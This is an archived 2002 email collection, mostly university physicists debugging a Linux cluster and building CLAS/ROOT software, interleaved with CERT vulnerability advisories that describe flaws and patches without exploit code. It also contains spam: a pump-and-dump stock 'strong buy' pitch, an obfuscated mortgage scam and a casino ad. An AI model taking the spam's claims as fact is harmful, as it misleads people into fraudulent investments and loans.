Subject: Re: status of the Richmond cluster In-Reply-To: <3DD3FFF8.7509429B@mindspring.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Status: RO X-Mozilla-Status: 8013 X-Mozilla-Status2: 00000000 X-UIDL: 38eb2673000042d8 Greetings, I believe I have all of the library issues dealt with. I noticed a possably confusing behaviour that might have been the root of some of this. Perl depends on several libraries in /lib to run. Unlike those in /usr/lib, they were being managed by caching rather than just being available from NFS. It can take about a minute for the libs to be fetched from the master. During that time, the app will appear hung, but will eventually start. I have pre-cached the files onto the node's local drive to try to avoid that delay. Since the libs are cached, once that startup penelty is paid, it doesn't happen again for those libs on that node until reboot. You can see this happen using tcpdump (I have a binary of it in my home directory). The libs are transferred as a stream of multicast packets. Please let me know if this gets it going. If problems remain, a good approach might be for me to make a copy of your test data and try the runs myself until the expected results come up. G'day, sjames On Thu, 14 Nov 2002, gilfoyle wrote: > hi steven, > > i'm checking in (when there is no beam) to find out the > status of the cluster. have the library issues been resolved? > if so, what was the solution? i'm itching to let this thing > get cooking. > > jerry > > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 -----------------------------------------------------------------------",0,1 gilfoyle ,"""Stefanovski, Sasko"" ","Thu, 14 Nov 2002 12:51:09 -0800",Re: bbftp for the cluster,"that's fine. ""Stefanovski, Sasko"" wrote: > > It must wait till tomorrow. We have a out-of-site exercise today from > 12pm-5pm. > > Sasko > > -----Original Message----- > From: gilfoyle [mailto:ggilfoyl@mindspring.com] > Sent: Thursday, November 14, 2002 3:08 PM > To: Sasko Stafanovski > Subject: bbftp for the cluster > > hi sasko, > > when you get a chance could you install bbftp on pscm1. > this package was, i think, installed before, but it looks like > it may have been wiped out by the upgrade. we need this to > transfer data from jlab to the cluster. there is a web-page at > jlab at the following address. > > http://cc.jlab.org/docs/scicomp/how-to/off-site-data-transfers.html > > more stuff here. > > http://doc.in2p3.fr/bbftp/ > > thanks-in-advance, > > jerry > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 ",0,1 fchinchi@cs.unc.edu,"Luminita Todor , ggilfoyl@richmond.edu, vineyarm@union.edu","Wed, 20 Nov 2002 16:32:44 -0500",Re: CLAS software @ UR,"Which machine was upgraded to 7.2? The new cluster? If so, why? (this could explain why I am no longer able to log on to the new cluster, if they just did a clean install instead of an upgrade, so I cannot say about the new one) For the old cluster, we downloaded the software and put it in: /home/clas/builds/release-# Then you cd into /home/clas/builds/release-#/packages and run make. If it is successful, update the PRODUCTION link. Dr. Vineyard did the CLAS setup on the new cluster, but I am sure it is very similar. As far as the rich.cshrc file, as long as you update the PRODUCTION link as mentioned above you shouldnt need to change it (I assume $CLAS_ROOT is properly set in your environment, such as to ""/home/clas"" in the old cluster). Let me know if this is doesnt help. Francisco Chinchilla ----- Original Message ----- From: Luminita Todor Date: Wednesday, November 20, 2002 3:04 pm Subject: CLAS software @ UR > Hi Francisco, > > I hope you enjoy graduate student life in North Carolina. > Please take few minutes to drive me through some 'how to'. > I want to install a new CLAS software version here at UR. > On which machine - to be usable on the cluster too? > The OS have been upgraded to Linux RH 7.2. As far as > I see there is a rich.cshrc in CLAS_CMS; should I change > anything there? > In principle it should be simple and easy but I would appreciate a > 'jump-start'. Thank you, > > Luminita Todor > postdoctoral research associate > Carnegie Mellon University, Pittsburgh, PA > research site - Thomas Jefferson National Facility / Hall B > tel. 757-269-5538 >From - Thu Nov 21 14:38:35 2002 Return-Path: Received: from argyle.richmond.edu (argyle.richmond.edu [141.166.188.18]) by tartan.richmond.edu (8.11.2/8.11.2) with ESMTP id gALJWHY22227 for ; Thu, 21 Nov 2002 14:32:17 -0500 Received: from penny.richmond.edu (penny.richmond.edu [141.166.188.34]) by argyle.richmond.edu (8.11.6/8.11.6) with SMTP id gALJTee05598; Thu, 21 Nov 2002 14:29:40 -0500 Received: from polyester.richmond.edu ([141.166.188.14]) by penny.richmond.edu (NAVGW 2.5.2.17) with SMTP id M2002112114294028414 ; Thu, 21 Nov 2002 14:29:40 -0500 Received: from mailer.jlab.org (mailer.jlab.org [129.57.35.124]) by polyester.richmond.edu (8.11.6/8.11.6) with ESMTP id gALJTdv18756; Thu, 21 Nov 2002 14:29:39 -0500 Received: from jlabs2.jlab.org (localhost [127.0.0.1]) by mailer.jlab.org (8.11.6/8.11.6) with ESMTP id gALJT1L09083; Thu, 21 Nov 2002 14:29:01 -0500 (EST) Received: from localhost (luminita@localhost) by jlabs2.jlab.org (8.12.5/8.11.6) with ESMTP id gALJT0iQ003051; Thu, 21 Nov 2002 14:29:00 -0500 (EST) Date: Thu, 21 Nov 2002 14:29:00 -0500 (EST) From: Luminita Todor To: gilfoyle cc: Mike Vineyard , Sasko Stafanovski , Markus Geiger Subject: CLAS sofware at UR: MYSQL? In-Reply-To: <3DD912EB.19E61765@richmond.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Status: X-Mozilla-Status: 8001 X-Mozilla-Status2: 00000000 X-UIDL: 38eb26730000437d Today I started to install release-4-4 of CLAS sofware on pscm1. I checked out the software in my account and copy the sources in /usr/old-home/clas/builds/release-4-4 (to be side-by-side with the previous releases) I tried to build and I run into some errors in caldb related to absence of some mysql header. .... calib_connect.c:10:19: mysql.h: No such file or directory .... At JLAB I have included in the PATH MYSQL_INCLUDE_PATH=/group/clas/mysql/LinuxRH7/include MYSQL_LIB_PATH=/group/clas/mysql/LinuxRH6/lib MYSQL_INCLUDE=/apps/mysql/include/mysql MYSQL_LIBS=/apps/mysql/lib/mysql Here comes the question: Is NOW mysql installed in UR cluster? Where? How/which related variables were set? It might as well be that you avoid the MySQL There are some other minor problems - I think Mark Ito will help me clear them soon. So I'm working on it. Luminita Todor postdoctoral research associate Carnegie Mellon University, Pittsburgh, PA research site - Thomas Jefferson National Facility / Hall B tel. 757-269-5538",0,0 nh2h ,ggilfoyl@facstaff.richmond.edu,"Thu, 21 Nov 2002 15:43:27 +0800",Emerging growth [D E T A I L S] fingerings bounty's dipped,"GAPJ- GOLDEN APPLE OIL/GAS Current Price: $ 0.60 Short Term Price: $ 1.50 3 Month Price: $ 4.50 Before we start with the profile of GAPJ we would like to mention something very important: There is a Big PR Campaign starting on today. And it will go all week so it would be best to get in NOW S T R O N G B U Y R E C O M M E N D A T I O N B U Y N O W Current Press Release Golden Apple Oil and Gas, Inc. and Franklin Ross Securities Complete Private Placement Golden Apple Oil and Gas, Inc. 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Systems Affected * Alcatel OmniSwitch 7700/7800 switches running Alcatel Operating System (AOS) version 5.1.1 Overview Alcatel has recently discovered a serious vulnerability in AOS version 5.1.1. Exploitation of this vulnerability can lead to full administrative control of the device running AOS. I. Description AOS typically runs on network infrastructure devices, such as the Alcatel OmniSwitch 7000 series switch. According to Alcatel: During an NMAP audit of the AOS 5.1.1 code that runs on the Alcatel OmniSwitch 7700/7800 LAN switches, it was determined a telnet server was listening on TCP port number 6778. This was used during development to access the Wind River Vx-Works operating system. Due to an oversight, this access was not removed prior to product release. Further information about this vulnerability may be found in VU#181721. This issue is also being referenced as CAN-2002-1272: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1272 II. Impact An attacker can gain full access to any device running AOS version 5.1.1, which can result in, but is not limited to, unauthorized access, unauthorized monitoring, information leakage, or denial of service. III. Solution Upgrade to AOS 5.1.1.R02 or AOS 5.1.1.R03 Contact Alcatel's customer support for the updated AOS. Workarounds Block access to port 6778/TCP at your network perimeter. Appendix A. - Vendor Information VU#181721 was written by Alcatel. As new vendor information is reported to the CERT/CC, we will update VU#181721 and note the changes in our revision history. Appendix B. - References 1. VU#181721: Alcatel OmniSwitch 7700/7800 does not require a password for accessing the telnet server - http://www.kb.cert.org/vuls/id/181721 2. OmniSwitch_7000_brief - http://www.ind.alcatel.com/nextgen/OmniSwitch_7000_brief.pdf 3. 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Systems Affected All Microsoft Windows systems running the following: * Versions of Microsoft Data Access Components (MDAC) prior to 2.7 * Internet Explorer version 6 * Internet Explorer version 5.5 * Internet Explorer version 5.1 Note that Microsoft Windows XP is shipped with MDAC version 2.7 and is not vulnerable by default even though Internet Explorer 6.0 is installed. Because the normal operation of several applications and web servers on a system depend on the proper operation of the MDAC ActiveX control, other programs could be used as an exploit vector. For example, Internet Information Server may be configured to use MDAC. Overview A vulnerability in the Microsoft Data Access Components (MDAC) could lead to remote execution of code with the privileges of the current process or user. I. Description Microsoft Data Access Components (MDAC) is a collection of utilities and routines to process requests between databases and network applications. A buffer overflow vulnerability exists in the Remote Data Services (RDS) component of MDAC. The RDS component provides an intermediary step for a client's request for service from a back-end database that enables the web site to apply business logic to the request. According to Microsoft's Security Bulletin MS02-065, a routine in the RDS component, specifically the RDS Data Stub function, contains an unchecked buffer. The RDS Data Stub function's purpose is to parse incoming HTTP requests and generate RDS commands. This unchecked buffer could be exploited to cause a heap overflow. There are two ways in which this vulnerability can be exploited. The first involves an attacker sending a malicious HTTP request to a vulnerable service, such as an IIS server. If RDS is enabled, the attacker can execute arbitrary code as the IIS server. RDS is not enabled by default on Windows 2000 and Windows XP systems. It can be disabled on other systems by following the advice in Microsoft's security bulletin. The other way to exploit this vulnerability involves a malicious web site hosting a page that exploits the buffer overflow in the MDAC RDS stub through a client application, such as Internet Explorer. Most systems running Internet Explorer on operating systems other than Windows XP are vulnerable to this attack. The attacker is able to run arbitrary code as the user viewing the malicious web page. Both web servers and client applications that rely on MDAC are affected. It is recommended that all users of Microsoft Windows 98, Windows 98 SE, Windows ME, Windows NT 4.0, and Windows 2000 apply the patch (Q329414). Windows XP users are not affected since MDAC 2.7, the non-vulnerable version, is installed by default. Information about this vulnerability is discussed in VU#542081. This issue is also being referenced as CAN-2002-1142. II. Impact A remote attacker could execute arbitrary code with the privileges of the application that processed the request. In the case of a web server or other service, this is likely to be the SYSTEM or another account with elevated privileges. In the case of a client application, this will be the account used to view the web page. III. Solution Apply a patch from your vendor. Microsoft has released a patch (Q329414) and a security bulletin (MS02-065) to address this issue. An end-user version of MS02-065 is available at http://www.microsoft.com/security/security_bulletins/ms02-065.asp. According to the Microsoft advisory, a scenario exists in by which a vulnerable version of the control may be re-installed on a Windows system even after the patch has been applied. This is due to the fact that the vulnerable ActiveX control is signed by Microsoft and the patch does not set the kill bit for the MDAC control. _________________________________________________________________ This vulnerability was reported in an advisory by Foundstone and in MS02-065 by Microsoft. _________________________________________________________________ Feedback can be sent to the Authors: Jason A. Rafail, Chad R. Dougherty, and Cory F. Cohen. ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-33.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. 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Revision History November 21, 2002: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPd1NYGjtSoHZUTs5AQHUzAQAxi1VWaNhv/9ihPvBWXPU/NmrQxcF3AGx SCtW1Lsgs7b0LHeNFKwEYxQu7nBGoc4otgQ1oVj+ftrJwOHSA560qPB9Pbu7doSG 7Hql8T/LdOGgcRIAPmLPvAK1rDT2oN85S/adpaQgFRgQw7RYLMsgjCKmQivpCpDA /8Vb+bI52YU= =3mho -----END PGP SIGNATURE----- ",0,1 """Michael F. Vineyard"" ",Luminita Todor ,"Thu, 21 Nov 2002 16:38:26 -0500",Re: CLAS sofware at UR: MYSQL?,"Hi Luminita, Over a year ago Francisco set up psc1 as a mysql server and installed caldb. I'm sure it hasn't been updated since Francisco left. There's an environment variable that points to the cladb server and the default is the one at JLab (see Mark Ito's caldb document). We were able to run recsis using either the caldb at JLab or the local one. I don't know the details about maintaining the mysql database. We need to check with Francisco about that. I don't think we'll be cooking any real data, but I guess we may need caldb to cook simulated data. So perhaps we should consider updating the local database or make sure we can still 'see' the JLab database. I hope this helps. Mike Luminita Todor wrote: > Today I started to install release-4-4 of CLAS sofware on > pscm1. I checked out the software in my account and copy > the sources in > /usr/old-home/clas/builds/release-4-4 > (to be side-by-side with the previous releases) > > I tried to build and I run into some errors in caldb > related to absence of some mysql header. > .... > calib_connect.c:10:19: mysql.h: No such file or directory > .... > At JLAB I have included in the PATH > MYSQL_INCLUDE_PATH=/group/clas/mysql/LinuxRH7/include > MYSQL_LIB_PATH=/group/clas/mysql/LinuxRH6/lib > MYSQL_INCLUDE=/apps/mysql/include/mysql > MYSQL_LIBS=/apps/mysql/lib/mysql > > Here comes the question: > Is NOW mysql installed in UR cluster? Where? How/which related variables > were set? It might as well be that you avoid the MySQL > > There are some other minor problems - I think Mark Ito will help me clear > them soon. So I'm working on it. > > Luminita Todor > postdoctoral research associate > Carnegie Mellon University, Pittsburgh, PA > research site - Thomas Jefferson National Facility / Hall B > tel. 757-269-5538 -- Michael F. Vineyard Phone: (518) 388-8353 Department of Physics Fax: (518) 388-6947 Union College E-mail: vineyarm@union.edu Schenectady, NY 12308 http://www1.union.edu/~vineyarm ",0,1 Luminita Todor ,"""Michael F. Vineyard"" ","Thu, 21 Nov 2002 19:38:10 -0500",Re: CLAS sofware at UR: MYSQL?," Thank you, Mike, for your message. I'll figure it all eventually. I wrote Sasko and asked him to install MySQL. I think I can do it myself - after poking my nose in mysql.com web page. However I'm always afraid that I'll be asked specific configuration questions that would take time and numerous iterations to figure. As 'profesional' Sasko can place everything in order and then we can be the 'amateurs' messing with it ;) Otherwise most libraries compiled amasing easy. I'll keep you informed - hopefully everything will be up and running at the begining of next week. I'm positive there should be a mirror of the database at UR at least containing the information relevant to the periods on which we work - e5, g1c, g2, g3,... Luminita Todor postdoctoral research associate Carnegie Mellon University, Pittsburgh, PA research site - Thomas Jefferson National Facility / Hall B tel. 757-269-5538 ",0,0 James Colby Kraybill ,linuxusers@astron.Berkeley.EDU,"Sat, 23 Nov 2002 14:07:50 -0800",Beware of new laptops," I recently purchased a Compaq Evo N1015v and it turns out that the 2.4 flavor of linux kernels are mystified by it's ALi derived north bridge chips. This means that Redhat 7.x/8.x will not install, nor should any linux distro based on the 2.4.x kernel. (is debian woody 2.4 these days?) I did accomplish getting a 2.5.48 kernel to fully boot and recognize everything cleanly, but, I'm stuck on trying to make a bootable install cd with that kernel. There's a great howto for making a modified redhat boot cd with different rpm's and what not, but the howto does not cover modifying the kernel (also, see isolinux dir under the redhat install cd's). So, anyone done this before? I have feelers out for it on several news groups and I'm waiting for a response from someone at redhat, but if anyone local has done this or knows where to find out more quickly, please e-mail me. - Colby --------------------------------------------------------------------- James Colby Kraybill Radio Astronomy Laboratory colby@astro.berkeley.edu University of California, Berkeley ",0,0 Regena Sancho ,linuxusers@astro.Berkeley.EDU,"Sat, 23 Nov 2002 12:39:13 -0700",Re: aovyn news,"De h ar Home Ow c ne k r , Your cr x edi h t doesn't matter to us ! If you O e WN real e z st w at j e and want IM y MED s IA a TE ca l sh to s v pen e d ANY way you like, or simply wish to LO v WER your monthly pa c yment s s by a third or more, here are the dea c ls we have T l OD s AY : $ 4 c 88 , 000 at a 3 , 6 o 7% f q ixed - ra u te $ 37 m 2 , 000 at a 3 , 9 p 0% v n ariab j le - ra x te $ 49 d 2 , 000 at a 3 , l 21% i u nteres w t - only $ 2 o 48 , 000 at a 3 , o 36% fi d xed - ra a te $ 19 q 8 , 000 at a 3 , h 55% v y ariable - ra y te Hurr e y, when these d f eaIs are gone, they are gone ! Don't worry about ap q pro p val, your cr o edi a t will not dis o qualif m y you ! Vi d si k t our sit v e Sincerely, Regena Sancho A o pprov g al Manager",1,1 James Colby Kraybill ,linuxusers@astron.Berkeley.EDU,"Sun, 24 Nov 2002 00:37:47 -0800",Laptop beaten into submission," Thanks go to Jeffrey Newman and Michael Fitzgerald for responding quickly. Michael pointed out that woody boot disks use the 2.2.20 kernel. Once the base system is installed, woody continues using this kernel. Oh happy day. --------------------------------------------------------------------- James Colby Kraybill Radio Astronomy Laboratory colby@astro.berkeley.edu University of California, Berkeley ",0,0 CERT Advisory ,cert-advisory@cert.org,"Mon, 25 Nov 2002 20:12:27 -0500",CERT Advisory CA-2002-34 Buffer Overflow in Solaris X Window Font Service," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2002-34 Buffer Overflow in Solaris X Window Font Service Original release date: November 25, 2002 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Sun Microsystems Solaris 2.5.1 (Sparc/Intel) * Sun Microsystems Solaris 2.6 (Sparc/Intel) * Sun Microsystems Solaris 7 (Sparc/Intel) * Sun Microsystems Solaris 8 (Sparc/Intel) * Sun Microsystems Solaris 9 (Sparc) Overview The Solaris X Window Font Service (XFS) daemon (fs.auto) contains a remotely exploitable buffer overflow vulnerability that could allow an attacker to execute arbitrary code or cause a denial of service. I. Description A remotely exploitable buffer overflow vulnerability exists in the Solaris X Window Font Service (XFS) daemon (fs.auto). Exploitation of this vulnerability can lead to arbitrary code execution on a vulnerable Solaris system. This vulnerability was discovered by ISS X-Force. The Solaris X Window Font Service (XFS) serves font files to clients. Sun describes the XFS service as follows: The X Font Server is a simple TCP/IP-based service that serves font files to its clients. Clients connect to the server to request a font set, and the server reads the font files off the disk and serves them to the clients. The X Font Server daemon consists of a server binary /usr/openwin/bin/xfs. The XFS daemon is installed and running by default on all versions of the Solaris operating system. Further information about this vulnerability may be found in VU#312313. http://www.kb.cert.org/vuls/id/312313 This vulnerability is also being referred to as CAN-2002-1317 by CVE. Note this vulnerability is in the X Window Font Server, and not the filesystem of a similar name. II. Impact A remote attacker can execute arbitrary code with the privileges of the fs.auto daemon (typically nobody) or cause a denial of service by crashing the service. III. Solution Apply a patch from your vendor Appendix A contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Please contact your vendor directly. Disable vulnerable service Until patches can be applied, you may wish to disable the XFS daemon (fs.auto). As a best practice, the CERT/CC recommends disabling all services that are not explicitly required. On a typical Solaris system, it should be possible to disable the fs.auto daemon by commenting out the relevant entries in /etc/inetd.conf and then restarting the inetd process. Workarounds Block access to port 7100/TCP at your network perimeter. Note that this will not protect vulnerable hosts within your network perimeter. Appendix A. - Vendor Information NetBSD NetBSD ships the xfs from XFree86, though its not on or used by default. OpenBSD We do not have XFS. SGI We're not vulnerable to this. Sun Microsystems The Solaris X font server (xfs(1)) is affected by VU#312313 in the following supported versions of Solaris: Solaris 2.6 Solaris 7 Solaris 8 Solaris 9 Patches are being generated for all of the above releases. Sun will be publishing a Sun Alert for this issue at the following location shortly: http://sunsolve.Sun.COM/pub-cgi/retrieve.pl?doc=fsalert/48879 The patches will be available from: http://sunsolve.sun.com/securitypatch Appendix B. - References 1. ISS X-Force Security Advisory: Solaris fs.auto Remote Compromise Vulnerability - http://bvlive01.iss.net/issEn/delivery/xforce/alertdetail.jsp?oid= 21541 2. Sun Cluster 3.0 U1 Data Services Developer's Guide, Chapter 6: Sample DSDL Resource Type Implementation - http://docs.sun.com/db/doc/806-7072/6jfvjtg1l?q=xfs&a=view 3. CERT/CC Vulnerability Note: VU#312313 - http://www.kb.cert.org/vuls/id/312313 4. CVE reference number CAN-2002-1317. Information available at http://cve.mitre.org _________________________________________________________________ Internet Security Systems publicly reported this vulnerability. _________________________________________________________________ Authors: Ian A. Finlay and Shawn V. Hernan. ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-34.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2002 Carnegie Mellon University. Revision History November 25, 2002: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPeK49WjtSoHZUTs5AQHV5wP7BzZtllAnLIcz88VnsMZmC8PB8X1stQDx aNnrPLhgQ7SWXZM/ESAsBBU+ieQodPJlmxy3yb00812uJmaO9wJPMoRnJnrZPkvU 6iSVJpo3nP85sS+mzpneavM7EuFr7BvJ0+jqhl/21GgMCaJz8zul0rVjUWDOBHl1 NNaWQi2Urb8= =L7NC -----END PGP SIGNATURE----- ",0,1 steven james ,gilfoyle ,"Tue, 26 Nov 2002 09:48:48 -0500",Re: status of the Richmond cluster,"Greetings, I'm on the master now. I will diagnose as soon as slaves are up. Meanwhile, will dig through master's logs to see what I can find there. G'day, sjames On Tue, 26 Nov 2002, gilfoyle wrote: > hi steven, > > here's the latest. > > 1. i restored root. this was done by deleting the old directory and > untarring the file from cern containing the libraries and the binaries. > i used the version for redhat 7.2 and gcc 2.96. the file is > > /usr/root/root_v3.03.09.Linux.RH7.2.gcc296.tar > > 2. i executed the 'bpsh -d allup /sbin/ldconfig -v >setuplog-02-nov-25' > and got the following. > > [root@pscm1]# bpsh -d allup /sbin/ldconfig -v > setuplog-02-nov-25 > /sbin/ldconfig: Can't open configuration file /etc/ld.so.conf: No such > file or directory > /sbin/ldconfig: Cannot stat /usr/lib/libnss1_compat.so: No such file or > directory > /sbin/ldconfig: Cannot stat /usr/lib/libnss1_dns.so: No such file or > directory > /sbin/ldconfig: Cannot stat /usr/lib/libnss1_files.so: No such file or > directory > /sbin/ldconfig: Cannot stat /usr/lib/libnss1_nis.so: No such file or > directory > /sbin/ldconfig: Cannot stat /usr/lib/libnss1_compat.so: No such file or > directory > /sbin/ldconfig: Cannot stat /usr/lib/libnss1_dns.so: No such file or > directory > /sbin/ldconfig: Cannot stat /usr/lib/libnss1_files.so: No such file or > directory > /sbin/ldconfig: Cannot stat /usr/lib/libnss1_nis.so: No such file or > directory > > ... lots more. > > i have attached the log file i created during this process. i didn't > know > if the messages above were a problem or not so i trudged on. > > 3. i tried running root from pscm1 and it worked beautifully. > > 4. i ran my scripts for submitting jobs to the cluster using four > analysis runs. this also ran beautifully. it produced output files > in the correct place that looked like things had worked. i was > very happy. i ran this script using slaves 0-3. i had not been able > to use slaves 2-3 before. > > 5. i ran my scripts using 12 analysis runs next. things started out > fine. i was monitoring the number of jobs running on the slaves. at that > point the jobs were either transferring data over to the slaves' disk > or starting the analysis. sometime during this process, the master > (pscm1) hung and i could get no response. this is similar to what we > saw a couple of weeks ago. i waited for quite some time as you > suggested in one of your emails, but i never got a response so i went > home. > > 6. after i came in this morning i could get no response from pscm1 so i > rebooted the master (actually my secretary did it. i am at JLab today). > root still runs fine on the master. i will ask sasko (our linux person) > to reboot the cluster today. > > let me know what you think. > > jerry > > > > steven james wrote: > > > > Greetings, > > > > Actually running root has been most informative. There appears to be a > > problem with the installation of root PRO. Looking at the dmesg output of > > node 3, root.exe is getting a segv when it tries to run. ldd shows that > > it's library requirements are unsatisfied (on the master as well!). > > > > When I add /usr/root/PRO/lib to /etc/ld/so.conf and run ldconfig, it tells > > me that several libraries in that directory are truncated. The real > > surprise is that it could run on node 0 at all. Possably the libs somehow > > got cached there and were later damaged. > > > > The best way to proceed would be to restore /usr/root/PRO/lib from backup > > or re-install the package, then bpsh -d allup /sbin/ldconfig -v >setuplog > > > > setuplog should show no problems then. > > > > I have set up the ld.so.conf on all nodes but 8 in advance to be ready for > > this operation. > > > > G'day, > > sjames > > > > On Mon, 18 Nov 2002, gilfoyle wrote: > > > > > hi steven, > > > > > > i tried running things yesterday and got the following. > > > > > > 1. i tried running my perl scripts on slaves 10-11 (i.e. analyze two > > > runs) and root did not run. the other tasks in the perl script were > > > done correctly. > > > > > > 2. i tried running root with the bpsh command from pscm1. i executed the > > > command in the area /scratch/gilfoyle/e5/24023 which is the area on the > > > slave. what is the jargon for this? mirror/ghost directory? it did not > > > run correctly or produce any output. however, there is a core file in > > > the > > > /scratch/gilfoyle/e5/24023 area on slave 10. > > > > > > 3. i tried running my perl scripts on slaves 0-1 since they worked > > > before. > > > they worked!! root ran and produced output files with filled histograms > > > and all the good stuff. > > > > > > 4. i tried running root on pscm1 (to look at the results of step 3) and > > > it did not run! it flashes its little greeting (which is an X-window > > > function) and then crashes. the core file is in > > > /home/gilfoyle/eod/run/results/. > > > > > > if you want to run this yourself the commands are the following. > > > > > > 1. to run root: > > > > > > root > > > > > > if you want to do more than that, let me know and i can give you a > > > quick how-to for looking at data. > > > > > > 2. to run root on slave 10: > > > > > > bpsh 10 root -b -q /scratch/gilfoyle/e5/24023/run_eod3.C > > > > > > the data files are already on the slave. usually i would delete them > > > after an analysis run, but i have them left them on the disk now for > > > testing. > > > > > > 3. to submit a job to the cluster. > > > > > > a. go to /home/gilfoyle/eod/run. > > > b. execute submit_eod3c.pl > > > > > > the scripts are submit_eod3c.pl and run_root_on_node3.pl. the main > > > input file is /home/gilfoyle/eod/run/E5_run_numbers.inp which > > > determines which runs to analyze. right now it only lists 2 runs so > > > only two runs will get analyzed when you run submit_eod3c.pl. the > > > script submit_eod3c.pl sets some parameters including which slaves > > > to run the analysis on. for example, see the parameter first_node > > > in submit_eod3c.p. > > > > > > let me know if there is more that will help. i'm starting to get a bit > > > desperate to get this thing working. > > > > > > jerry > > > > > > > > > > > > > > > > > > steven james wrote: > > > > > > > > Greetings, > > > > > > > > I believe I have all of the library issues dealt with. > > > > > > > > I noticed a possably confusing behaviour that might have been the root of > > > > some of this. > > > > > > > > Perl depends on several libraries in /lib to run. Unlike those in > > > > /usr/lib, they were being managed by caching rather than just being > > > > available from NFS. It can take about a minute for the libs to be fetched > > > > from the master. During that time, the app will appear hung, but will > > > > eventually start. > > > > > > > > I have pre-cached the files onto the node's local drive to try to avoid > > > > that delay. > > > > > > > > Since the libs are cached, once that startup penelty is paid, it doesn't > > > > happen again for those libs on that node until reboot. > > > > > > > > You can see this happen using tcpdump (I have a binary of it in my home > > > > directory). The libs are transferred as a stream of multicast packets. > > > > > > > > Please let me know if this gets it going. If problems remain, a good > > > > approach might be for me to make a copy of your test data and try the runs > > > > myself until the expected results come up. > > > > > > > > G'day, > > > > sjames > > > > > > > > On Thu, 14 Nov 2002, gilfoyle wrote: > > > > > > > > > hi steven, > > > > > > > > > > i'm checking in (when there is no beam) to find out the > > > > > status of the cluster. have the library issues been resolved? > > > > > if so, what was the solution? i'm itching to let this thing > > > > > get cooking. > > > > > > > > > > jerry > > > > > > > > > > > > > > > > > > -- > > > > -------------------------steven james, director of research, linux labs > > > > ... ........ ..... .... 230 peachtree st nw ste 701 > > > > the original linux labs atlanta.ga.us 30303 > > > > -since 1995 http://www.linuxlabs.com > > > > office 404.577.7747 fax 404.577.7743 > > > > ----------------------------------------------------------------------- > > > > > > > > > > -- > > -------------------------steven james, director of research, linux labs > > ... ........ ..... .... 230 peachtree st nw ste 701 > > the original linux labs atlanta.ga.us 30303 > > -since 1995 http://www.linuxlabs.com > > office 404.577.7747 fax 404.577.7743 > > ----------------------------------------------------------------------- > > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 -----------------------------------------------------------------------",0,1 gametime@wowscream.com,elma@uclink4.berkeley.edu,"Tue, 26 Nov 2002 05:15:57 +0000",Your wish is our command!,"Attention: This is an Advertisement. ******************** 7 SULTANS CASINO ******************** Your wish is our command... http://www.wowscream.com/webtracer/bin/redirect.pl?refer=7Stext&cd=ws&ec=QlJVQ0VHQEVNLkNB You will be granted $500 and 15 minutes to transform this amount into your wildest wishes. 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Past CERT summaries are available from: CERT Summaries http://www.cert.org/summaries/ ______________________________________________________________________ Recent Activity Since the last regularly scheduled CERT summary, issued in August 2002 (CS-2002-03), we have seen trojan horses for three popular distributions, new self-propagating malicious code (Apache/mod_ssl), and multiple vulnerabilities in BIND. In addition, we have issued a new PGP Key. For more current information on activity being reported to the CERT/CC, please visit the CERT/CC Current Activity page. The Current Activity page is a regularly updated summary of the most frequent, high-impact types of security incidents and vulnerabilities being reported to the CERT/CC. The information on the Current Activity page is reviewed and updated as reporting trends change. CERT/CC Current Activity http://www.cert.org/current/current_activity.html 1. Apache/mod_ssl Worm Over the past several months, we have received reports of a self-propagating malicious code that exploits a vulnerability (VU#102795) in OpenSSL. Reports received by the CERT/CC indicate that the Apache/mod_ssl worm has already infected thousands of systems. Over a month earlier, the CERT/CC issued an advisory (CA-2002-23) describing four remotely exploitable buffer overflows in OpenSSL. CERT Advisory CA-2002-27 